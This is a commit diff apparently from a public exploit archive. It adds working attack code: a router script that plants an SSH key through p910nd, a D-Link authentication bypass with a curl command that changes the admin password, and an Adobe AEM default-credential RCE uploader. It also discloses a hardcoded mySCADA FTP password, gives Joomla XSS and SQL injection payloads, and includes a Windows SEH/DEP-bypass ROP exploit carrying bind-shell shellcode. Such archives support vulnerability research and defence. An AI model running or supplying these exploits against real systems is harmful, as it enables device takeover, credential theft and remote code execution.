DB: 2018-05-21
6 changes to exploits/shellcodes Easy MPEG to DVD Burner 1.7.11 - Local Buffer Overflow (SEH) (DEP Bypass) mySCADA myPRO 7 - Hard-Coded Credentials D-Link DSL-3782 - Authentication Bypass Adobe Enterprise Manager (AEM) < 6.3 - Remote Code Execution Joomla! Component EkRishta 2.10 - Cross-Site Scripting / SQL Injection
This commit is contained in:
Offensive Security
parent
41ea196761
commit
42f3759885
7 changed files with 439 additions and 1 deletions
|
|
@ -26,4 +26,92 @@ def ubusAuth(host, username, password):
|
|||
key = response.get('result')[1].get('ubus_rpc_session')
|
||||
except IndexError:
|
||||
return(None)
|
||||
return(key)
|
||||
return(key)
|
||||
|
||||
def ubusCall(host, key, namespace, argument, params={}):
|
||||
ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])
|
||||
req = json.dumps({"jsonrpc":"2.0","method":"call",
|
||||
"params":[key,namespace,argument,params],
|
||||
"id":666})
|
||||
ws.send(req)
|
||||
response = json.loads(ws.recv())
|
||||
ws.close()
|
||||
try:
|
||||
result = response.get('result')[1]
|
||||
except IndexError:
|
||||
if response.get('result')[0] == 0:
|
||||
return(True)
|
||||
return(None)
|
||||
return(result)
|
||||
|
||||
def sendData(host, port, data=""):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((host, port))
|
||||
s.sendall(data.encode('utf-8'))
|
||||
s.shutdown(socket.SHUT_WR)
|
||||
s.close()
|
||||
return(None)
|
||||
|
||||
def recvData(host, port):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((host, port))
|
||||
data = s.recv(1024)
|
||||
s.shutdown(socket.SHUT_WR)
|
||||
s.close()
|
||||
return(data)
|
||||
|
||||
if __name__ == "__main__":
|
||||
host = "192.168.1.1"
|
||||
username = "user"
|
||||
password = "user"
|
||||
key = "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAkQMU/2HyXNEJ8gZbkxrvLnpSZ4Xz+Wf3QhxXdQ5blDI5IvDkoS4jHoi5XKYHevz8YiaX8UYC7cOBrJ1udp/YcuC4GWVV5TET449OsHBD64tgOSV+3s5r/AJrT8zefJbdc13Fx/Bnk+bovwNS2OTkT/IqYgy9n+fKKkSCjQVMdTTrRZQC0RpZ/JGsv2SeDf/iHRa71keIEpO69VZqPjPVFQfj1QWOHdbTRQwbv0MJm5rt8WTKtS4XxlotF+E6Wip1hbB/e+y64GJEUzOjT6BGooMu/FELCvIs2Nhp25ziRrfaLKQY1XzXWaLo4aPvVq05GStHmTxb+r+WiXvaRv1cbQ== rsa-key-20170427"
|
||||
payload = ("""
|
||||
/bin/echo "%s" > /etc/dropbear/authorized_keys;
|
||||
""" % key)
|
||||
|
||||
print("Authenticating...")
|
||||
key = ubusAuth(host, username, password)
|
||||
if (not key):
|
||||
print("Auth failed!")
|
||||
sys.exit(1)
|
||||
print("Got key: %s" % key)
|
||||
|
||||
print("Enabling p910nd and setting up exploit...")
|
||||
pwn910nd = ubusCall(host, key, "uci", "set",
|
||||
{"config":"p910nd", "type":"p910nd", "values":
|
||||
{"enabled":"1", "interface":"lan", "port":"0",
|
||||
"device":"/etc/init.d/p910nd"}})
|
||||
if (not pwn910nd):
|
||||
print("Enabling p910nd failed!")
|
||||
sys.exit(1)
|
||||
|
||||
print("Committing changes...")
|
||||
p910ndc = ubusCall(host, key, "uci", "commit",
|
||||
{"config":"p910nd"})
|
||||
if (not p910ndc):
|
||||
print("Committing changes failed!")
|
||||
sys.exit(1)
|
||||
|
||||
print("Waiting for p910nd to start...")
|
||||
time.sleep(5)
|
||||
|
||||
print("Sending key...")
|
||||
sendData(host, 9100, payload)
|
||||
|
||||
print("Triggerring exploit...")
|
||||
print("Cleaning up...")
|
||||
|
||||
dis910nd = ubusCall(host, key, "uci", "set",
|
||||
{"config":"p910nd", "type":"p910nd", "values":
|
||||
{"enabled":"0", "device":"/dev/usb/lp0"}})
|
||||
if (not dis910nd):
|
||||
print("Exploit and clean up failed!")
|
||||
sys.exit(1)
|
||||
|
||||
p910ndc = ubusCall(host, key, "uci", "commit",
|
||||
{"config":"p910nd"})
|
||||
if (not p910ndc):
|
||||
print("Exploit and clean up failed!")
|
||||
sys.exit(1)
|
||||
|
||||
print("Exploitation complete")
|
||||
51
exploits/hardware/webapps/44657.txt
Normal file
51
exploits/hardware/webapps/44657.txt
Normal file
|
|
@ -0,0 +1,51 @@
|
|||
# Exploit Title: D-Link DSL 3782 - Authentication Bypass
|
||||
# Vendor Homepage: https://eu.dlink.com
|
||||
# Version: A1_WI_20170303 || SWVer="V100R001B012" FWVer="3.10.0.24" FirmVer="TT_77616E6771696F6E67"
|
||||
# Category: Webapps
|
||||
# Exploit Author: Giulio Comi
|
||||
# CVE : CVE-2018-8898
|
||||
# Date: 20/05/2018
|
||||
|
||||
# Description
|
||||
# The web panel of D-Link DSL 3782 version (A1_WI_20170303) does not release a token ID (e.g. a session cookie) that identifies the logged in administrator, but only relies # on a server-side timeout that lasts few minutes.
|
||||
# In addition, a server-side mitigation in place prompts for login credentials everytime the webroot is loaded, but does leave the application endpoints unprotected # and affected by this authentication bypass.
|
||||
|
||||
# Therefore, after a valid login of the administrator the web panel does not distinguish valid HTTP requests from the admin and the ones that come from other users.
|
||||
# This way, an attacker can script an automatic routine that perform unwanted actions such as arbitrary modifications to router and SSIDs passwords and configurations.
|
||||
|
||||
# Some of the possible actions for retrieving important information
|
||||
# GET http://192.168.1.1/romfile.cfg ---> retrieve the complete settings of the router (all credentials included)
|
||||
# GET http://192.168.1.1/cgi-bin/get/New_GUI/Settings_24.asp ---> retrieve the password for SSID of 2.4Ghz
|
||||
# GET http://192.168.1.1/cgi-bin/get/New_GUI/Settings_5.asp ---> retrieve the password for SSID of 5.0Ghz
|
||||
# GET http://192.168.1.1/cgi-bin/New_GUI/GuestZone.asp ---> retrieve the password for Guest network, if present
|
||||
|
||||
# For POST requests that makes changes to passwords, SSIDs name and configurations, a 'sessionKey' value is used by the web application to prevent Cross-site request forgery (CSRF) attacks.
|
||||
# However, this value can be retrieved with this Authentication Bypass issue with the following GET request:
|
||||
# 'GET http://192.168.1.1/cgi-bin/get/New_GUI/get_sessionKey.asp'
|
||||
|
||||
# For example, the below POST request allows to change the Web Interface Administrator's password:
|
||||
curl --data "Password=[NEW_PASSWORD_SET_BY_THE_ATTACKER]" \
|
||||
--data "sessionKey=$(curl -sS http://192.168.1.1/cgi-bin/get/New_GUI/get_sessionKey.asp)" \
|
||||
http://192.168.1.1/cgi-bin/New_GUI/Set/Admin.asp
|
||||
|
||||
# Some other possible actions for altering the configurations:
|
||||
# POST http://192.168.1.1/cgi-bin/New_GUI/WiFi_loding.asp ---> change passwords of the SSIDs
|
||||
# POST http://192.168.1.1/cgi-bin/New_GUI/Set/firmware_upgrade.asp ---> upgrade firmware
|
||||
# POST http://192.168.1.1/cgi-bin/New_GUI/Set/reboot_wait.asp ---> reboot router
|
||||
# POST /cgi-bin/New_GUI/Set/config_upgrade.asp ---> upload a new configuration file ('romfile.cfg')
|
||||
|
||||
# Note 1: Since the router misses a network segretation, a user that has access to the Guest network could also perform this attack.
|
||||
# Note 2: Web panels exposed to the Internet allows anonymous attacker to leverage this vulnerability and possibly takeover the router.
|
||||
# Note 3: Others forks of the firmware and software versions have not been tested.
|
||||
|
||||
# Timeline
|
||||
# 26/03 Vendor contacted
|
||||
# 28/03 Vendor replied
|
||||
# 05/04 Vendor requested more information to track the vulnerable firmware version 'because the D-Link DSL 3782 have many forks'
|
||||
# 05/04 I have sent the detailed information of firmware and software version retrievable from:
|
||||
# - the web panel graphic ('A1_WI_20170303')
|
||||
# - the romfile.cfg ('SWVer="V100R001B012" FWVer="3.10.0.24" FirmVer="TT_77616E6771696F6E67"')
|
||||
# 20/04 requested an update, no response
|
||||
# 03/05 requested an update, no response
|
||||
# 07/05 requested an update, still no response from the security response team
|
||||
# 20/05 full disclosure
|
||||
56
exploits/jsp/webapps/44659.py
Executable file
56
exploits/jsp/webapps/44659.py
Executable file
|
|
@ -0,0 +1,56 @@
|
|||
# Exploit Title: Adobe Experience Manager (AEM) < 6.3 default credentials leads to RCE
|
||||
# Date: 5/19/18
|
||||
# Exploit Author: StaticFlow
|
||||
# Vendor Homepage: https://www.adobe.com/in/marketing-cloud/experience-manager.html
|
||||
# Version: < 6.3
|
||||
import requests
|
||||
import sys
|
||||
|
||||
baseUrl = 'https://test.com/' #default domain, change here or pass in on command line
|
||||
credentialList = [['anonymous','anonymous'], ['author','author'], ['admin','admin']]
|
||||
exploit = 'rce.jsp' #default file name, must be in same dir as python file or passed in on command line
|
||||
|
||||
def testLogins():
|
||||
for credential in credentialList:
|
||||
response = requests.get(baseUrl, auth=(credential[0], credential[1]))
|
||||
if(response.status_code == 200):
|
||||
return credential
|
||||
return False
|
||||
|
||||
if len(sys.argv) == 2:
|
||||
baseUrl = sys.argv[1]
|
||||
if len(sys.argv) == 3:
|
||||
exploit = sys.argv[2]
|
||||
|
||||
gotCreds = testLogins()
|
||||
if(gotCreds):
|
||||
attackChain = [
|
||||
{
|
||||
'jcr:primaryType': (None, 'nt:folder') #create a folder for our exploit
|
||||
},
|
||||
{
|
||||
'exec.jsp': ('rce.jsp', open(exploit, 'rb')) #upload the exploit
|
||||
},
|
||||
{
|
||||
':operation': (None, 'copy'), #copy exploit folder over to app folder for staging
|
||||
':dest': (None, '/apps/rcetype')
|
||||
},
|
||||
{
|
||||
'sling:resourceType': (None, 'rcetype') #instruct Apache Sling to initialize our exploit code as a servlet
|
||||
}
|
||||
]
|
||||
print "creating folder structure and uploading exploit"
|
||||
for attack in attackChain[:-1]:
|
||||
response = requests.post(baseUrl+'content/rcetype', files=attack, auth=(gotCreds[0], gotCreds[1]))
|
||||
if response.status_code > 201:
|
||||
print "Something went wrong, request returned a "+str(response.status_code)+". Here's the response:"
|
||||
print response.content
|
||||
sys.exit(0)
|
||||
|
||||
print "initializing servlet from exploit"
|
||||
response = requests.post(baseUrl+'content/rce', files=attackChain[-1], auth=(gotCreds[0], gotCreds[1]))
|
||||
if response.status_code > 201:
|
||||
print "Something went wrong, request returned a "+str(response.status_code)+". Here's the response:"
|
||||
print response.content
|
||||
sys.exit(0)
|
||||
print """Should be good to go, run 'curl -X "GET" -u {}:{} {}' and your exploit should run""".format(gotCreds[0],gotCreds[1],baseUrl+'content/rce.exec')
|
||||
27
exploits/multiple/remote/44656.txt
Normal file
27
exploits/multiple/remote/44656.txt
Normal file
|
|
@ -0,0 +1,27 @@
|
|||
#Exploit Title: mySCADA myPRO 7 - Hardcoded FTP Username and Password
|
||||
#Date: 2018-05-19
|
||||
#Exploit Author: Emre ÖVÜNÇ
|
||||
#Vendor Homepage: https://www.myscada.org/mypro/
|
||||
#Software Link: https://www.myscada.org/download/
|
||||
#Version: v7
|
||||
#Tested on: Linux, Windows
|
||||
|
||||
# I. Problem Description
|
||||
|
||||
#In the latest version of myPRO (v7), it has been discovered that the ftp server's -running on port 2121- username and password information is kept in the file by using reverse engineering. Anyone who connects to an FTP server with an authorized account can upload or download files onto the server running myPRO software.
|
||||
|
||||
# II. Technical
|
||||
|
||||
Hardcoded username:password = myscada:Vikuk63
|
||||
|
||||
#Firstly, I found that what ports myPRO listened to. You can get information used by the netstat command about the ports and the services running on it. When you install myPRO, you can see many ports open. The vulnerability works on all supported platforms.
|
||||
|
||||
#In my first research on the Windows OS, myPRO has many process and I noticed that ‘myscadagate.exe’ is listening to port #2121.
|
||||
|
||||
#I found that they put the username and password (myscada:Vikuk63) in the source code. I obtained access by connecting to port 2121 of myPRO's server with any FTP client.
|
||||
|
||||
#(Details: https://emreovunc.com/blog/en/mySCADA-myPRO7-Exploit.pdf)
|
||||
|
||||
# III. Solution
|
||||
|
||||
#As a workaround you need to restrict port 2121 access from the outside. There is no permanent solution for the vendor because there is no patch available.
|
||||
37
exploits/php/webapps/44660.txt
Normal file
37
exploits/php/webapps/44660.txt
Normal file
|
|
@ -0,0 +1,37 @@
|
|||
# Exploit Title: Joomla! extension EkRishta 2.10 - Persistent Cross-Site Scripting / SQL Injection
|
||||
# Dork: N/A
|
||||
# Date: 2018-05-18
|
||||
# Exploit Author: Sina Kheirkhah || (Sina.For.Sec@gmail.com)
|
||||
# Software Link: https://extensions.joomla.org/extensions/extension/living/dating-a-relationships/ek-rishta/
|
||||
# Vendor Homepage: https://www.joomlaextensions.co.in/
|
||||
# Version: 2.10
|
||||
# Category: Webapps
|
||||
# CVE: N/A
|
||||
#
|
||||
#
|
||||
#
|
||||
#POC-1) Cross site scripting (XSS) :
|
||||
#
|
||||
#
|
||||
# Description:
|
||||
#
|
||||
# 1)create a profile
|
||||
# 2)you can use your payload in profile info page
|
||||
# 3)for example in Address field you can use
|
||||
"></textarea><script>prompt('address')</script>
|
||||
# 4)now the Payload will be executed whenever someone visits your profile
|
||||
#
|
||||
#
|
||||
# POC-2) SQL Injection:
|
||||
#
|
||||
# Description:
|
||||
# 1)the website has filtered all the inputs for sql injection BUT
|
||||
# you can use the user_setting page in order to Inject SQL code
|
||||
# by using POST method
|
||||
# http://localhost/ekrishta/index.php/profile/user_setting
|
||||
#
|
||||
# <form method="POST" action="http://localhost/ekrishta/index.php/profile/user_setting">
|
||||
# <input type="text" name="phone_no" value="SQL injection">
|
||||
# <input type="hidden" name="task" value="save">
|
||||
# <input type="submit" name="save" value="Save"/>
|
||||
# </form>
|
||||
174
exploits/windows/local/44658.py
Executable file
174
exploits/windows/local/44658.py
Executable file
|
|
@ -0,0 +1,174 @@
|
|||
#!/usr/bin/python
|
||||
|
||||
#------------------------------------------------------------------------------------------------------------------------------------#
|
||||
# Exploit: Easy MPEG to DVD Burner 1.7.11 SEH + DEP Bypass Local Buffer Overflow #
|
||||
# Date: 2018-05-19 #
|
||||
# Author: Juan Prescotto #
|
||||
# Tested Against: Win7 Pro SP1 64 bit #
|
||||
# Software Download #1: https://downloads.tomsguide.com/MPEG-Easy-Burner,0301-10418.html #
|
||||
# Software Download #2: https://www.exploit-db.com/apps/32dc10d6e60ceb4d6e57052b6de3a0ba-easy_mpeg_to_dvd.exe #
|
||||
# Version: 1.7.11 #
|
||||
# Special Thanks to my wife for allowing me spend countless hours on this passion of mine #
|
||||
# Credit: Thanks to Marwan Shamel (https://www.exploit-db.com/exploits/44565/) for his work on the original SEH exploit #
|
||||
# Steps : Open the APP > click on register > Username field > paste in contents from the .txt file that was generated by this script #
|
||||
#------------------------------------------------------------------------------------------------------------------------------------#
|
||||
# Bad Characers: \x00\x0a\x0d #
|
||||
# SEH Offset: 1012 #
|
||||
# Non-Participating Modules: SkinMagic.dll & Easy MPEG to DVD Burner.exe #
|
||||
#------------------------------------------------------------------------------------------------------------------------------------#
|
||||
# root@kali:~/Desktop# nc -nv 10.0.1.14 4444 #
|
||||
# (UNKNOWN) [10.0.1.14] 4444 (?) open #
|
||||
# Microsoft Windows [Version 6.1.7601] #
|
||||
# Copyright (c) 2009 Microsoft Corporation. All rights reserved. #
|
||||
# #
|
||||
# C:\Program Files (x86)\Easy MPEG to DVD Burner> #
|
||||
#------------------------------------------------------------------------------------------------------------------------------------#
|
||||
|
||||
# My register setup when VirtualAlloc() is called (Defeat DEP) :
|
||||
#--------------------------------------------
|
||||
# EAX = Points to PUSHAD at time VirtualAlloc() is called (Stack Pivot jumps over it on return)
|
||||
# ECX = flProtect (0x40)
|
||||
# EDX = flAllocationType (0x1000)
|
||||
# EBX = dwSize (0x01)
|
||||
# ESP = lpAddress (automatic)
|
||||
# EBP = ReturnTo (stack pivot into a rop nop / jmp esp)
|
||||
# ESI = ptr to VirtualAlloc()
|
||||
# EDI = ROP NOP (RETN)
|
||||
|
||||
import struct
|
||||
|
||||
def create_rop_chain():
|
||||
|
||||
rop_gadgets = [
|
||||
#***START VirtualAlloc() to ESI***
|
||||
0x10027e6b, # POP EAX # RETN [SkinMagic.dll] **
|
||||
0x1003b1d4, # ptr to &VirtualAlloc() [IAT SkinMagic.dll]
|
||||
0x100369a1, # MOV EAX,DWORD PTR DS:[EAX] # RETN [SkinMagic.dll]
|
||||
0x10032993, # POP EBX # RETN [SkinMagic.dll]
|
||||
0xffffffff, #
|
||||
0x10037bd3, # INC EBX # FPATAN # RETN [SkinMagic.dll]
|
||||
0x10037bd3, # INC EBX # FPATAN # RETN [SkinMagic.dll]
|
||||
0x10037bc0, # POP EDX # RETN [SkinMagic.dll]
|
||||
0xffffffff, #
|
||||
0x10035a07, # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN [SkinMagic.dll]
|
||||
0x10037654, # POP EAX # RETN [SkinMagic.dll]
|
||||
0xa141dffb, #
|
||||
0x100317c8, # ADD EAX,5EFFC883 # RETN [SkinMagic.dll] Gets us to #0x0041a87e # ADD EDX,EBX # POP EBX # RETN 0x10 [Easy MPEG to DVD Burner.exe]
|
||||
0x1003248d, # PUSH EAX # RETN [SkinMagic.dll] | Calls #0x0041a87e # ADD EDX,EBX # POP EBX # RETN 0x10 [Easy MPEG to DVD Burner.exe]
|
||||
0x41414141, # FILLER
|
||||
0x1003993e, # PUSH EDX # ADD AL,5F # POP ESI # POP EBX # RETN 0x0C [SkinMagic.dll]
|
||||
0x41414141, # FILLER
|
||||
0x41414141, # FILLER
|
||||
0x41414141, # FILLER
|
||||
0x41414141, # FILLER
|
||||
0x41414141, # FILLER
|
||||
#***END VirtualAlloc() to ESI***
|
||||
|
||||
#***START 0x40 to ECX***
|
||||
0x100185fb, # XOR EAX,EAX # RETN [SkinMagic.dll]
|
||||
0x41414141, # FILLER
|
||||
0x41414141, # FILLER
|
||||
0x41414141, # FILLER
|
||||
0x10037c5b, # ADD EAX,40 # POP EBP # RETN [SkinMagic.dll]
|
||||
0x41414141, # FILLER
|
||||
0x10032176, # XCHG EAX,ECX # ADD EAX,20835910 # ADD BYTE PTR DS:[ECX+10059130],AH # MOV DWORD PTR DS:[1005912C],EAX # RETN [SkinMagic.dll]
|
||||
#***END 0x40 to ECX***
|
||||
|
||||
#***START 0x1000 to EDX***
|
||||
0x10032993, # POP EBX # RETN [SkinMagic.dll]
|
||||
0xaaaaaaaa, #
|
||||
0x10037bc0, # POP EDX # RETN [SkinMagic.dll]
|
||||
0x55556556, #
|
||||
0x10037654, # POP EAX # RETN [SkinMagic.dll]
|
||||
0xa141dffb, #
|
||||
0x100317c8, # ADD EAX,5EFFC883 # RETN [SkinMagic.dll] Gets us to #0x0041a87e # ADD EDX,EBX # POP EBX # RETN 0x10 [Easy MPEG to DVD Burner.exe]
|
||||
0x1003248d, # PUSH EAX # RETN [SkinMagic.dll] | Calls #0x0041a87e # ADD EDX,EBX # POP EBX # RETN 0x10 [Easy MPEG to DVD Burner.exe]
|
||||
0x41414141, # FILLER
|
||||
#***END 0x1000 to EDX***
|
||||
|
||||
#*** Start EBP = ReturnTo (stack pivot into a rop nop / jmp esp)***
|
||||
0x1002829d, # POP EBP # RETN [SkinMagic.dll]
|
||||
0x41414141, # FILLER
|
||||
0x41414141, # FILLER
|
||||
0x41414141, # FILLER
|
||||
0x41414141, # FILLER
|
||||
0x100284f8, # {pivot 16 / 0x10} : # ADD ESP,0C # POP EBP # RETN [SkinMagic.dll]
|
||||
#*** END EBP = ReturnTo (stack pivot into a rop nop / jmp esp)***
|
||||
|
||||
#***START 0x1 to EBX***
|
||||
0x10032993, # POP EBX # RETN [SkinMagic.dll]
|
||||
0xffffffff, #
|
||||
0x10037bd3, # INC EBX # FPATAN # RETN [SkinMagic.dll]
|
||||
0x10037bd3, # INC EBX # FPATAN # RETN [SkinMagic.dll]
|
||||
#***END 0x1 to EBX***
|
||||
|
||||
#***START ROP NOP to EDI***
|
||||
0x100342f0, # POP EDI # RETN [SkinMagic.dll]
|
||||
0x10032158, # RETN (ROP NOP) [SkinMagic.dll]
|
||||
#***END ROP NOP to EDI***
|
||||
|
||||
#***START Gadgets to execute PUSHAD / Execute VirtualAlloc()***
|
||||
0x10037654, # POP EAX # RETN [SkinMagic.dll]
|
||||
0xa140acd2, # CONSTANT
|
||||
0x100317c8, # ADD EAX,5EFFC883 # RETN [SkinMagic.dll] (Puts location of a PUSHAD into EAX "0x00407555", # PUSHAD # RETN [Easy MPEG to DVD Burner.exe]
|
||||
0x1003248d, # PUSH EAX # RETN [SkinMagic.dll] | Calls #0x00407555, # PUSHAD # RETN [Easy MPEG to DVD Burner.exe]
|
||||
#***END Gadgets to execute PUSHAD***
|
||||
|
||||
#***After Return from VirtualAlloc() / stack pivot land in ROP NOP Sled / jmp ESP --> Execute Shellcode***
|
||||
0x10032158, # RETN (ROP NOP) [SkinMagic.dll]
|
||||
0x10032158, # RETN (ROP NOP) [SkinMagic.dll]
|
||||
0x10032158, # RETN (ROP NOP) [SkinMagic.dll]
|
||||
0x10032158, # RETN (ROP NOP) [SkinMagic.dll]
|
||||
0x1001cc57, # & push esp # ret [SkinMagic.dll]
|
||||
]
|
||||
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
|
||||
|
||||
rop_chain = create_rop_chain()
|
||||
|
||||
nop_rop_chain_1 = "\xbd\xdd\x02\x10" * 18 # 0x1002ddbd : {pivot 12 / 0x0c} : # ADD ESP,0C # RETN [SkinMagic.dll]
|
||||
nop_rop_chain_2 = "\x58\x21\x03\x10" * 22 # RETN (ROP NOP) [SkinMagic.dll]
|
||||
seh = "\x06\x4e\x40" # 0x00404e06 : {stack pivot 1928 / 0x788} (Lands us into rop nop chain --> rop_chain) : # POP EDI # POP ESI # POP EBP # MOV DWORD PTR FS:[0],ECX # POP EBX # ADD ESP,778 # RETN [Easy MPEG to DVD Burner.exe]
|
||||
nop = "\x90" * 20
|
||||
|
||||
#Max Space Avaliable for Shellcode = 600 bytes
|
||||
#------------------------------------------------------------------------------------#
|
||||
# msfvenom -p windows/shell_bind_tcp LPORT=4444 -b '\x00\x0a\x0d' -f py -v shellcode #
|
||||
# x86/shikata_ga_nai succeeded with size 355 (iteration=0) #
|
||||
#------------------------------------------------------------------------------------#
|
||||
shellcode = ""
|
||||
shellcode += "\xb8\x50\x08\x0f\xf2\xd9\xe9\xd9\x74\x24\xf4\x5b"
|
||||
shellcode += "\x29\xc9\xb1\x53\x31\x43\x12\x03\x43\x12\x83\x93"
|
||||
shellcode += "\x0c\xed\x07\xef\xe5\x73\xe7\x0f\xf6\x13\x61\xea"
|
||||
shellcode += "\xc7\x13\x15\x7f\x77\xa4\x5d\x2d\x74\x4f\x33\xc5"
|
||||
shellcode += "\x0f\x3d\x9c\xea\xb8\x88\xfa\xc5\x39\xa0\x3f\x44"
|
||||
shellcode += "\xba\xbb\x13\xa6\x83\x73\x66\xa7\xc4\x6e\x8b\xf5"
|
||||
shellcode += "\x9d\xe5\x3e\xe9\xaa\xb0\x82\x82\xe1\x55\x83\x77"
|
||||
shellcode += "\xb1\x54\xa2\x26\xc9\x0e\x64\xc9\x1e\x3b\x2d\xd1"
|
||||
shellcode += "\x43\x06\xe7\x6a\xb7\xfc\xf6\xba\x89\xfd\x55\x83"
|
||||
shellcode += "\x25\x0c\xa7\xc4\x82\xef\xd2\x3c\xf1\x92\xe4\xfb"
|
||||
shellcode += "\x8b\x48\x60\x1f\x2b\x1a\xd2\xfb\xcd\xcf\x85\x88"
|
||||
shellcode += "\xc2\xa4\xc2\xd6\xc6\x3b\x06\x6d\xf2\xb0\xa9\xa1"
|
||||
shellcode += "\x72\x82\x8d\x65\xde\x50\xaf\x3c\xba\x37\xd0\x5e"
|
||||
shellcode += "\x65\xe7\x74\x15\x88\xfc\x04\x74\xc5\x31\x25\x86"
|
||||
shellcode += "\x15\x5e\x3e\xf5\x27\xc1\x94\x91\x0b\x8a\x32\x66"
|
||||
shellcode += "\x6b\xa1\x83\xf8\x92\x4a\xf4\xd1\x50\x1e\xa4\x49"
|
||||
shellcode += "\x70\x1f\x2f\x89\x7d\xca\xda\x81\xd8\xa5\xf8\x6c"
|
||||
shellcode += "\x9a\x15\xbd\xde\x73\x7c\x32\x01\x63\x7f\x98\x2a"
|
||||
shellcode += "\x0c\x82\x23\x45\x91\x0b\xc5\x0f\x39\x5a\x5d\xa7"
|
||||
shellcode += "\xfb\xb9\x56\x50\x03\xe8\xce\xf6\x4c\xfa\xc9\xf9"
|
||||
shellcode += "\x4c\x28\x7e\x6d\xc7\x3f\xba\x8c\xd8\x15\xea\xd9"
|
||||
shellcode += "\x4f\xe3\x7b\xa8\xee\xf4\x51\x5a\x92\x67\x3e\x9a"
|
||||
shellcode += "\xdd\x9b\xe9\xcd\x8a\x6a\xe0\x9b\x26\xd4\x5a\xb9"
|
||||
shellcode += "\xba\x80\xa5\x79\x61\x71\x2b\x80\xe4\xcd\x0f\x92"
|
||||
shellcode += "\x30\xcd\x0b\xc6\xec\x98\xc5\xb0\x4a\x73\xa4\x6a"
|
||||
shellcode += "\x05\x28\x6e\xfa\xd0\x02\xb1\x7c\xdd\x4e\x47\x60"
|
||||
shellcode += "\x6c\x27\x1e\x9f\x41\xaf\x96\xd8\xbf\x4f\x58\x33"
|
||||
shellcode += "\x04\x7f\x13\x19\x2d\xe8\xfa\xc8\x6f\x75\xfd\x27"
|
||||
shellcode += "\xb3\x80\x7e\xcd\x4c\x77\x9e\xa4\x49\x33\x18\x55"
|
||||
shellcode += "\x20\x2c\xcd\x59\x97\x4d\xc4"
|
||||
|
||||
exploit = nop_rop_chain_1 + nop_rop_chain_2 + rop_chain + nop + shellcode + "\x41" * (1012-len(nop_rop_chain_1)-len(nop_rop_chain_2)-len(rop_chain)-len(nop)-len(shellcode)) + seh
|
||||
|
||||
f = open ("Exploit.txt", "w")
|
||||
f.write(exploit)
|
||||
f.close()
|
||||
|
|
@ -9721,6 +9721,7 @@ id,file,description,date,author,type,platform,port
|
|||
44649,exploits/windows/local/44649.py,"Prime95 29.4b8 - Stack Buffer Overflow (SEH)",2018-05-18,crash_manucoot,local,windows,
|
||||
44652,exploits/linux/local/44652.py,"DynoRoot DHCP - Client Command Injection",2018-05-18,"Kevin Kirsche",local,linux,
|
||||
44654,exploits/linux/local/44654.rb,"Linux 4.8.0 < 4.8.0-46 - AF_PACKET packet_set_ring Privilege Escalation (Metasploit)",2018-05-18,Metasploit,local,linux,
|
||||
44658,exploits/windows/local/44658.py,"Easy MPEG to DVD Burner 1.7.11 - Local Buffer Overflow (SEH) (DEP Bypass)",2018-05-20,"Juan Prescotto",local,windows,
|
||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||
|
|
@ -16501,6 +16502,7 @@ id,file,description,date,author,type,platform,port
|
|||
44642,exploits/linux/remote/44642.rb,"Jenkins CLI - HTTP Java Deserialization (Metasploit)",2018-05-17,Metasploit,remote,linux,8080
|
||||
44643,exploits/multiple/remote/44643.rb,"Apache Struts 2 - Struts 1 Plugin Showcase OGNL Code Execution (Metasploit)",2018-05-17,Metasploit,remote,multiple,8080
|
||||
44648,exploits/windows/remote/44648.rb,"HPE iMC 7.3 - Remote Code Execution (Metasploit)",2018-05-18,TrendyTofu,remote,windows,
|
||||
44656,exploits/multiple/remote/44656.txt,"mySCADA myPRO 7 - Hard-Coded Credentials",2018-05-20,"Emre ÖVÜNÇ",remote,multiple,
|
||||
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
|
||||
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
|
||||
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
|
||||
|
|
@ -39341,3 +39343,6 @@ id,file,description,date,author,type,platform,port
|
|||
44651,exploits/php/webapps/44651.txt,"Infinity Market Classified Ads Script 1.6.2 - Cross-Site Request Forgery",2018-05-18,L0RD,webapps,php,
|
||||
44650,exploits/hardware/webapps/44650.txt,"Cisco SA520W Security Appliance - Path Traversal",2018-05-18,"Nassim Asrir",webapps,hardware,
|
||||
44655,exploits/linux/webapps/44655.txt,"SAP B2B / B2C CRM 2.x < 4.x - Local File Inclusion",2018-05-18,"Richard Alviarez",webapps,linux,
|
||||
44657,exploits/hardware/webapps/44657.txt,"D-Link DSL-3782 - Authentication Bypass",2018-05-20,"Giulio Comi",webapps,hardware,
|
||||
44659,exploits/jsp/webapps/44659.py,"Adobe Enterprise Manager (AEM) < 6.3 - Remote Code Execution",2018-05-20,StaticFlow,webapps,jsp,
|
||||
44660,exploits/php/webapps/44660.txt,"Joomla! Component EkRishta 2.10 - Cross-Site Scripting / SQL Injection",2018-05-20,"Sina Kheirkhah",webapps,php,
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue